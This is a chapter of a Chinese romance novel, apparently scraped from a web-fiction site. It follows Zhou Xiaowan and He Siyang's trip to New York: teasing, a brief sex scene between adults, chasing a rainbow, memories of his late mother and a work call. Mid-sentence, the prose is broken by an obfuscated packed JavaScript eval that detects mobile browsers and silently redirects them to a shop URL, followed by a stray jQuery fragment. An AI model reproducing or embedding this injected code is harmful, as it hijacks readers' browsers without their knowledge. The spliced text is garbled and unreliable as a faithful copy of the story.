一觉到早上，房间里没多少亮光，贺司扬听见周小玩翻了个身，又不甚满意地哼哼两声，听声音他就已经能脑补出她还没睡醒发懵的样子，伸了手要去摸她，就听她带着鼻音质问：“为什么都不亲我？”
他将她揽来怀里，摸到她脸颊亲了下，她继续哼哼，再亲还是不行，他便将她脸扳转过来，对着她脑门用力亲了下，她才满足地“嗯”了声，脑袋往他怀里一钻，继续睡了。
再醒来她已经不记得这回事了，抓来硬币投进床头的箱子里，床轰隆隆震起来，她平躺在那，声带在震动中一颤一颤：“贺~~司~~扬~~贺~~司~~扬~~”她念着念着心下一动，把他名字拆开来：“嗬！嘶~~噫！昂~~~~”
贺司扬还没笑，她自己先笑了，翻过身往前肘行两步，爬到贺司扬身上，两人脸对脸脚贴脚，贺司扬的身体很硬，她被一上一下颠着，胳膊肘疼，膝盖疼，叹口气说的却是：“脚~~疼~~”
“我看看。”
“别~不~信，说~了~疼~就~是~疼~”
还没说完，贺司扬已经抱着她坐起来，知道她说的假话，还是把她脚抓过来看了几眼。她一身软肉，大腿上的肉却很紧实，摸过去一手浑圆，贺司扬被弄得心猿意马，要把她放到旁边去，她紧紧箍住他不放，说：“我~今~天~只~能~走~一~百~步~”
他笑：“走完了就跳，跑，蹦？”
她伸出食指左右晃晃：“不跳不跑不蹦~~我就这样~~扒——在你身上~~像块橡皮糖~~”
她严丝合缝贴过来，贺司扬伸了手要把她从自己身上撕开，周小玩却手脚并用缠住他：“甩不掉~~~~甩不掉！”
贺司扬无非做做样子，周小玩却不是闹着玩，紧紧黏在他身上，怎么甩也甩不开，两人翻倒在床上，左右滚着圈，差点滚到床下去，她笑着笑着惊叫出声，被贺司扬一把捞住，他将她重新放在自己身上，就这样一个叠着另一个，眼睛对着眼睛互相看着，看了一会儿，周小玩去摸他下巴，有点刮手：“我~给~你~剃~~”
她说着把他拉起来，下了床就开始数：“1，2，s——啊！”
数到第三步，贺司扬将她肩膀一按，直接将她打横抱起进了洗手间，先刷牙洗脸，再把剃须泡沫递给她，低了头凑到她面前，示意她动手。见她憋着笑，就知道她别有居心，她先把他拨到镜子前，一脸认真指挥他，“低一点，我够不到。”“前一点，太远了。”
他好笑地配合她，总算见她往他下巴上打起白色泡沫，是往他下巴上没错，不过是往镜子里的他，泡沫打在镜子上，画出一个轮廓，她笑得肩膀一耸一耸，抓起旁边的剃须刀说：“我要剃咯？”
说着就要往镜子上去，贺司扬按住她手，自己拿起泡沫瓶，在她画的旁边打出她的轮廓，最标志性的是那一对浓眉，再有一头卷发，往上翘起两根，象征着她偶尔的无厘头，她不很满意：“你这画的是金毛狮王还是帕蒂·史密斯啊？”
他一本正经：“约翰列侬吧？”
她瞪镜子里的他，捉着他手往下撇，把她头上一根头发往右延伸，到了他的脖子上，泡沫打圈，是头发打个死结，绑住他脖子的意思。
贺司扬看得直笑，带着她手到了旁边，写下两个字母：MotelMurder（汽车旅馆谋杀案）。
周小玩想了想，另起一行写：LoverMurder（爱人谋杀）。
贺司扬仍不满意，带着她手写到第三行：LoverMurmur（爱人低语）。
周小玩噗嗤一声笑了，要他去拿手机来拍照，起初她努力靠近镜子里的自己，等贺司扬按下快门前一刻，她扑过去搂住他脖子亲了下他的脸，照片定格，他愣了愣，她趁势抱上去猛嘬他几下，才说：“自己刮！”
她甩手走人，继续数步子：“4，5，l——”
刚数到六，被身后的人抱住，贺司扬将她捉回去，俯身来亲她耳垂，亲完看着她，眼神幽暗不明，是要请得她同意，他喉结泛红，是刚才被她嘬的，他又低头来亲，含着吸着，周小玩没有拒绝，反而搂住他脖子，挂去了他身上。
门被踢上，站立的姿势让她发慌，只能把所有重心往他身上靠，可他偏不让，将她按在墙上，大幅度的动作让她摇摇欲坠，可但凡要坠了，又被他顶回去。她找不到支点，几乎失去了身体的主导权，只本能地喊面前人的名字，大概是在异国他乡，多了一份不管不顾，贺司扬能感受到周小玩在配合他，往常这种时候她已经喊停把他推开了，现在却还来迎合，他大喘着气去亲她，将她整个托起来，行动间进得更深……
良久，终于停下来。
周小玩吃了大亏，气喘吁吁，打他肩膀：“只能走五十步了！”
贺司扬笑着要将她抱起来，说给她洗澡，她靠他身上也不说话，默认他来做这些。
她有时候特别依赖他，一开始贺司扬还有些不习惯。以前看她跟别人恋爱，她跟往常没有太大区别，趾高气昂，永远是掌握主动权的那方，从没有任何沦陷进去的样子，或许也只是他没见过。后来跟她在一起才知道她有时候挺粘人的，也很爱在他面前装疼，上一刻还气汹汹跟他吵架，下一刻扶着脑袋说累，要他抱，他一边想笑，一边想，难道这就是两个人在一起的甜蜜之处？说甜蜜太黏糊了，可也没有更合适的词了，他第一次体味到这种翻起来涌上去的感受，觉得十分新奇。受她影响，他有时候会传染上她的毛病。
有时候也会毫无原则地想，她是对的，她说什么都是对的。
她说只能走五十步，那就只让她走五十步。
两人是来观景的，现在却被人当成了景观。
贺司扬背着周小玩走在曼哈顿42街，参加马拉松的选手跑在里侧，外侧有人拍照，镜头一转到了她们身上，摄影师问她脚还好吗，周小玩对着镜头笑，说我的脚很好，但我男朋友的脚就不一定了。
周小玩到底不舍得贺司扬受累，想说放我下来吧，可最终还是没开口，反而拿出相机，记录下他累得气喘吁吁的样子，本以为会是窘态，晚上回去却只看到一个流着汗的大帅哥，她就更没有心理负担了。
第二天早上她说：“今天我可以走两百步！”
第三天，她走了三百步。
纽约又下起雨，下得大的时候，雨点噼里啪啦打在雨伞上，两人要很大声说话才能听见对方。
“刚才那个华夫饼好难吃啊！”两人刚从一家名气很大的甜品店里出来，“你看，声音可以记录，画面可以拍摄，味道就没办法储存下来！”
“不好吃干嘛要储存？”
“不好吃才要储存呀！”周小玩低头看他，“你看我现在，把劳役你的视频储存下来，以后看的时候就不一定是消极的心情了。”说着自己咯咯乐起来。
两人一路走到百老汇大道，看完音乐剧出来，换贺司扬说：“难看。”
周小玩笑：“人家都拿托尼奖了，以后肯定会有官摄视频，你看，难看的剧也会被储存，你不能瞧不起难吃的味道。”
有了可以对比的例子，贺司扬被她的道理说服了：“有了不好的，才能区分出好的。”
“这个剧也不能说不好吧？”
“不好。”
“Anagram那段还不错呀。”
“很刻意。”
周小玩又笑，她也觉得刻意，可还是试探着说：“男女主角聊kiss那段就很真实啊。”
那段，男主角对女主角说：“如果你想被亲吻，我可以以朋友的身份那么做，就只当是你想找个人练习一下。”
贺司扬渐渐知会过来，就见她心虚地过来抱住他：“我好像没有跟你说过吧，高中的时候，我跟文杰……”
她没有继续往下说，把决定交给贺司扬来做，他想听她再说。
贺司扬看起来很纠结，把她往旁边带了两步：“他也那样勾引你？”
周小玩差点笑到跌倒，确实也跌在他身上，这两个中文字眼还是第一次听贺司扬说，她忍着笑，严肃着脸说：“喔，是他勾引我。”
那时候，十六岁的周小玩对恋爱这件事相当好奇，以前跟小男生玩点暧昧根本不算什么，她觉得自己成熟了，是时候谈一段刻骨铭心的恋爱了。那段时间她拉了个名单，重点关注名单上的男生，可很快就被那些看似不错的男同学吓跑，不是太骚包，就是不怎么爱干净，最重要是没什么内涵，所以看来看去还是文杰最顺眼。
确定了人选，也还是下不定决心。好巧不巧，她那张名单被文杰看到了，名单不打紧，可反面还写着一长串恋爱待办事项，第一行就是重点加粗的接吻。相比恋爱，周小玩对接吻这件事更加好奇，好奇心之下，被文杰一勾引，她选了个日子，把两人关在房间里，起先随便找了部电影，都要看完了两个人都没动，她觉得自己够怂了，没想到文杰比她更怂。她心想别磨磨叽叽了，眼睛一闭亲上去就是，她用力把文杰往自己这边一拽，嘴唇刚沾上，老秦的声音就在门外响起了。
老秦那会儿还中气十足，一嗓子能把人吓一跳，周小玩就被吓得弹开来，接吻什么滋味儿她没尝上，可确定了文杰并不是她要的那个人。
文杰事后很懊悔，每天见她第一句就问：今天呢？想好了吗？
他说两人可以先恋爱，恋爱了再接吻不就顺理成章了？
“今天呢？还没想好？”
“想好了，”周小玩心里动摇，嘴上却很坚决，“不行！”
文杰伤心了，为了这事儿很久没理她，每天都能看见他故意大声跟班上的体育委员聊天，体委追了文杰很久，眼看要追上了，周小玩也有些后悔，可是，不行就是不行，差一点点也不行！后来老样子，还是文杰屁颠屁颠主动来求和了。
“就是这样咯。”周小玩三言两语跟贺司扬描述完，“唉，老秦那一嗓子来得太不及时了。”
她故意说了反话，贺司扬的脸色也没见轻松起来，可很快没忍住对着她笑了：“怎么对什么都那么好奇？”
“你高中就没好奇过？”
贺司扬不说话了。
“看吧！你不还是一样！你毕业照上站你旁边的那个女孩——”
后面忽然传来一阵惊呼，两人被迫中断了对话，跟随其他人的目光往外看，雨还在淅淅沥沥地下，远处的雨幕中不知什么时候架起了一道彩虹，远远地横跨在一众高楼大厦当中。
周边的人纷纷拿了手机出来拍照，周小玩拉一拉身边的人：“看着不远，贺司扬，我们去追彩虹脚吧！”
贺司扬背起她，她撑伞，平常方向感差，现在有彩虹当向导，她指挥着贺司扬往前往左往右，看着近，实际上要比想象中远得多，两人经过卡内基大厅，沿着大都会博物馆往北，中间坐了一段公交，一直到靠近河滨公园的地方，才看到了正在逐渐消失的彩虹脚。
下了公交，周小玩懒得打伞，两人很快就被淋湿了，贺司扬背着她穿过彩虹脚，转过身又走回来，周小玩下了地，催着贺司扬也摸一摸，贺司扬往她头发上掸了掸雨水：“冷不冷？”
周小玩摇头，跑远了拍彩虹，又折返回来，要跟贺司扬合照。
“一，二，s——”
贺司扬扳过她脸，低头亲在她唇上，周小玩笑着将他推开：“偷亲！”
贺司扬将她手里的相机接了过来，连同她一同抱来怀里，一个低头，一个抬头，两人在彩虹中接吻。
第五天，周小玩说她可以走五百步了。
两人一早到长岛的冷泉港实验室，况月林曾经在这里短暂工作过。两千年初，那时贺司扬刚上小学，他从小就崇拜况月林，想像她一样长大了当个科学家。
走在实验室外，贺司扬想起了小时候的很多事，那时他每天盼着放学，即便放了学也没办法立刻给况月林打电话，要等到她那边天亮睡醒了才行，可在五点到九点那段时间，他都会满怀期待地等着电话到来。况月林在这边也不是每天都有新鲜事，可他就是想听，抓着电话不肯让给他爸。他个子矮，为了不让他爸听到他跟他妈的悄悄话，甚至会爬到柜子顶上去，他爸就站在下面随时准备接住他，生怕他掉下来。
周小玩看过那张他坐柜子上的照片，贺年华拍下来后一直保存着，她去做客的时候他翻出来给她看。她看到很多个以前的贺司扬，也正是无数个以前的贺司扬构成了现在的他。她喜欢听他说那些过往的细节，细节越多，她就越可以想象那个过程，想象他是怎样一步步变成当初和她初遇时的样子，想象眼前的每时每刻是如何与他身上的其他部分发生碰撞，又如何融合在一起。这种想象极容易上瘾，有时会让人忘了自己。
他说得没错，她对什么都好奇，尤其是有关他的一切。
“上一次想起阿姨是什么时候？”两人牵着手，缓慢走在邦顿路上。
“来纽约前一天梦到了她，我在上高中，跟现实里一样叛逆，也不知道因为什么跟她大吵了一架，好像是因为骑车的事情，她总觉得我骑太快，我就觉得还好。她穿的是我给她买的那件蓝色长外套，那件外套其实是我20岁生日的时候给她买的。”
况月林就是在贺司扬20岁那年走的，大三，他过生日的时候，况月林的病情已经恶化了。
周小玩只见过况月林的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722023|139918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
照片，贺司扬长得更像妈妈，一对眼睛最是相像，有时多情，有时无情。
“和以前差不多，时不时会想到她，但也想不到太久。”贺司扬跟周小玩聊过很多，可有些话不太容易说出口，现在倒说出来了，“不该总是跟她吵架，也后悔没有多陪她。”
“她在实验室也很忙的。”
“想要见也见得到，那时候太叛逆了，只顾着自己。”
“阿姨肯定很喜欢你的叛逆，她给你写的那封信不是也说了？她喜欢看你不同的样子，叛逆也好，乖巧也好，都是最真实的你，”周小玩戳戳他，“你知道你现在没以前那么叛逆了吧？不是都说，最亲密的人离开这个世界，会把你身体里的一部分带走？你的一部分叛逆可能就是被阿姨藏口袋里带走了，她肯定也留了她的一部分给你，你说，是什么？”
贺司扬想了想，是有的，而且有很多个部分。
“她看过你拍的短片。”他忽然说。
“啊？哪部啊？”
“不记得了，可能是赢了我的那部吧。”
周小玩才不信他真不记得了，一路追着他问，他笑着喊停，作势要把她扛起来：“五百步到了，该回去看电影了。”
电影，贺司扬喜欢上电影也是因为她妈妈。况月林当初在法国留学，听法国音乐，看法国电影，回国的行李箱里有一整箱都是磁带和碟片。碟片里有一张让·维果的《操行零分》，他那时候看不懂，只觉得电影里的学生跟自己很像，这一种感同身受让他对电影产生了浓厚兴趣。
而他知道的是，周小玩也是受一部题材类似的校园电影启蒙，因而喜欢上电影。
那年，那位因为鱼子酱跟秦淮碧结缘的法国老太太到中国来度暑假，说是来度假，老太太却不爱出门，周小玩秉承着热情招待客人的原则，每天也待在家里，两人语言上不通，就用手势跟抽象画交流。周小玩拿很多小玩意让老太太了解中国文化，老太太说没带什么东西来，只能送几张她挚爱的碟片。周小玩以为会是法国电影，等一播放，里面的人说的却是俄语。
周小玩当然也看不太懂，从片名就搞不懂，《欢迎光临，或闲人免进》，为了搞懂，她把这部片子看了很多遍，越看越觉得有趣，甚至把很多画面落到纸上，研究景别，猜测那些画面是如何被拍摄出来的。
她让家里另外三位出动给她找电影解读，顺着这部她又看了很多同题材电影，也是那几年，她飞快变成了一个愤世嫉俗的讨人嫌冷脸女孩，她妈担心她走火入魔了，给她找了很多喜剧看，不含一丁点儿政治隐喻，她自己也在读书，渐渐地也就不那么愤怒了。
但真正让她爱上电影是在她十四岁那年，初三毕业的那个暑假，家附近在办苏联影展，正好就有那部欢迎光临。她买了票去看，电影院里座无虚席，原以为看过很多遍，她肯定笑不出来，可被影厅里其他人一感染，她就跟着大家一起开怀大笑。
那是一个在记忆里很确切的时刻，没有人看手机，没有人屏摄，没有人吃爆米花，所有人都全身心投注在大银幕上，时不时一起笑得前仰后合，结束后再一起鼓掌，就是在那些时刻，她真正意识到了电影的魅力。
是现场感，让人身临其境、忘记琐事、跟邻座相视一笑的现场感。
是感受，感受当下，感受时间，感受电影，感受你，感受我。
周小玩一直认为，一部好的电影，是当你看到精彩的时候，忍不住想要看看其他人的反应。
好的电影，会让人无意识地去感受，可现在好电影不多，能全身心去感受电影的环境和人也不多。
她想要找回那个时刻，不只是为她自己，也为其他看电影的人。
所以她在开拍会议室里留下了那两个字，感受。
这个方案是她的私心，说它好很勉强，说不好么，可以有一大堆理由。营销就是营销，就算搞情怀也要搞搞清楚目的是什么，人家是要增加票房的，你丢出去两个字，外加一堆没有白纸黑字的说明，就有信心能给电影增加几千万上亿的票房了？
所以最终结果是在意料之中的，不过现在这时候想起来，不免有些怅然。
最近这一周，周小玩跟贺司扬看了很多场音乐剧，也看了不少电影，越是看得多，越能理解“感受”那两个字的分量，就比如刚刚结束的这一场，也是两人这次在纽约看的最后一场电影，氛围相当好，又是喜剧，现场氛围从头到尾都分外和谐。
贺司扬大概猜得到周小玩在想什么，说：“你的方案给我用吧。”
他马上就要亲自上阵去当制片人了，也早就想过要找她帮忙，周小玩听了他的想法却不怎么配合：“我的想法凭什么给你？”
“那我求你？”他笑起来。
周小玩也笑：“求我也没用，我的方案必须要全听我的，我写的东西一个字都不能改。”
“可以。”他一口答应。
“鬼才信你！你这个大资本家，才不讲什么情怀！”
贺司扬没躲开她挥过来的拳头：“也不能一个字都不改吧，错别字也要留着？”
周小玩一听来气了，在这儿跟她翻旧账呢，她也不是吃素的，算账还能输么，可刚要开口，兜里手机先响了。
拿出来一看，是陈慕杨。
她看了眼贺司扬，贺司扬面无表情，一声不吭看着她，她倒没什么好心虚的，马上接了。
陈慕杨在电话那头异常激动，叽里呱啦说快请他吃饭，她起初听得云里雾里，很快打断他，问：“你是说我们公司的方案又被你们选上了？”
陈慕杨在那头说了什么贺司扬没听清，他立马找出自己手机，这段时间他没看工作消息，邮件也一律没读，是彻底地罢工休假，现在把软件一打开，大把邮件涌进来，他选中几封看了，明白了其中的原委。
再看旁边的周小玩，她正跟涂吟啸通电话，挂断后脸色算不上多好。
“我算是明白了，你们公司的人都跟你一样，霸道得很，凭什么你们说什么就是什么，把我们当什么了？”
贺司扬心情也不佳：“不用管他们，现在你说了算。”
“哼！”
贺司扬笑了，顿了顿问：“你怎么想？”
“不告诉你！”
她自顾自先往前走，显然是在想事情了，贺司扬不紧不慢跟上去，要抱她，她没让，沉默了好一会儿才说：“如果，我是说如果，如果公司最后还是决定合作，我们能不能先约法三章啊？”
“嗯，不吵架，不暴走，还有什么？”
周小玩被他低眉顺眼的样子给看笑了，嘴上却恶狠狠：“等我想好了再通知你！”